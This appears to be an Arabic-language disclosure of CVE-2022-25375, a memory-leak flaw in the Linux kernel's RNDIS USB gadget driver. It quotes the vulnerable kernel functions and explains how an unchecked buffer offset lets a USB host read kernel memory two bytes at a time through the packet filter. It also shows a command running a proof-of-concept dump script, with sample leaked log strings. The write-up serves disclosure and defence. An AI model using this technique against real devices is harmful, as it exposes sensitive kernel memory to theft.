
CVE-2022-25375 - استغلال تجريبي لـ RNDIS USB Gadget
قد يكون من الممكن استغلال أداة RNDIS USB لتفريغ محتويات مساحة ذاكرة النواة عبر آلية تحديث مرشح الحزم.
معالج طلب نقل التحكم USB من نوع RNDIS_MSG_SET - rndis_set_response يستدعي gen_ndis_set_resp مررًا مؤشرًا إلى مخزن مُزاح بمقدار BufOffset + 8. يتم استرداد متغير BufOffset من رسالة RNDIS ولا يتم التحقق منه لاحترام حدود المخزن. وبالتالي، من خلال التلاعب بالعضو InformationBufferOffset ذي الأربعة بايتات من rndis_set_msg_type، يمكن للمهاجم إزاحة المخزن الفعلي بما يصل إلى 0xffffffff بايت.
rndis.c - rndis_msg_parser
case RNDIS_MSG_QUERY:
return rndis_query_response(params,
(rndis_query_msg_type *)buf);
case RNDIS_MSG_SET:
return rndis_set_response(params, (rndis_set_msg_type *)buf);
rndis.c - rndis_set_response
static int rndis_set_response(struct rndis_params *params,
rndis_set_msg_type *buf)
{
u32 BufLength, BufOffset;
rndis_set_cmplt_type *resp;
rndis_resp_t *r;
r = rndis_add_response(params, sizeof(rndis_set_cmplt_type));
if (!r)
return -ENOMEM;
resp = (rndis_set_cmplt_type *)r->buf;
BufLength = le32_to_cpu(buf->InformationBufferLength);
BufOffset = le32_to_cpu(buf->InformationBufferOffset);
#ifdef VERBOSE_DEBUG
pr_debug("%s: Length: %d\n", __func__, BufLength);
pr_debug("%s: Offset: %d\n", __func__, BufOffset);
pr_debug("%s: InfoBuffer: ", __func__);
for (i = 0; i < BufLength; i++) {
pr_debug("%02x ", *(((u8 *) buf) + i + 8 + BufOffset));
}
pr_debug("\n");
#endif
resp->MessageType = cpu_to_le32(RNDIS_MSG_SET_C);
resp->MessageLength = cpu_to_le32(16);
resp->RequestID = buf->RequestID; /* Still LE in msg buffer */
if (gen_ndis_set_resp(params, le32_to_cpu(buf->OID),
((u8 *)buf) + 8 + BufOffset, BufLength, r))
resp->Status = cpu_to_le32(RNDIS_STATUS_NOT_SUPPORTED);
else
resp->Status = cpu_to_le32(RNDIS_STATUS_SUCCESS);
params->resp_avail(params->v);
return 0;
}
بعد ذلك، يقوم الكود المسؤول عن معالجة OID الخاص بـ RNDIS_OID_GEN_CURRENT_PACKET_FILTER بتعيين مرشح الحزم الحالي إلى القيمة التي يشير إليها مؤشر buf. ومع تطبيق الإزاحة، يتيح ذلك استرداد بايتين في عنوان محدد وتخزين القيمة في مرشح الحزم.
rndis.c - gen_ndis_set_resp
switch (OID) {
case RNDIS_OID_GEN_CURRENT_PACKET_FILTER:
/* these NDIS_PACKET_TYPE_* bitflags are shared with
* cdc_filter; it's not RNDIS-specific
* NDIS_PACKET_TYPE_x == USB_CDC_PACKET_TYPE_x for x in:
* PROMISCUOUS, DIRECTED,
* MULTICAST, ALL_MULTICAST, BROADCAST
*/
*params->filter = (u16)get_unaligned_le32(buf);
pr_debug("%s: RNDIS_OID_GEN_CURRENT_PACKET_FILTER %08x\n",
__func__, *params->filter);
الخطوة التالية هي استرداد قيمة مرشح الحزم باستخدام مزيج من USB_CDC_SEND_ENCAPSULATED_COMMAND مع RNDIS_MSG_QUERY لـ OID الخاص بـ RNDIS_OID_GEN_CURRENT_PACKET_FILTER وطلبات نقل التحكم USB_CDC_GET_ENCAPSULATED_RESPONSE.
إن تكرار ضبط/استرداد مرشح الحزم مع زيادة InformationBufferOffset في طلب RNDIS يسمح باستخراج ما يصل إلى 0xffffffff بايت من ذاكرة مساحة النواة بمعدل بايتين في كل مرة. بالنسبة للكميات الكبيرة من البيانات، تكون العملية بطيئة إلى حد ما ولكنها تظل فعالة.
$ sudo python3 rndisco.py -v 0x1b67 -p 0x400c -l 0x3fffc > /tmp/rpi_rndis.dmp
strings /tmp/rpi_rndis.dmp -n8 | tail -n 6
stp_proto_unregister
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
<30>Jan 27 14:39:40 dhcpcd[486]: usb0: carrier lost
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
قد يتم استغلال أجهزة لينكس التي تعرض أدوات USB RNDIS لاستخراج معلومات حساسة.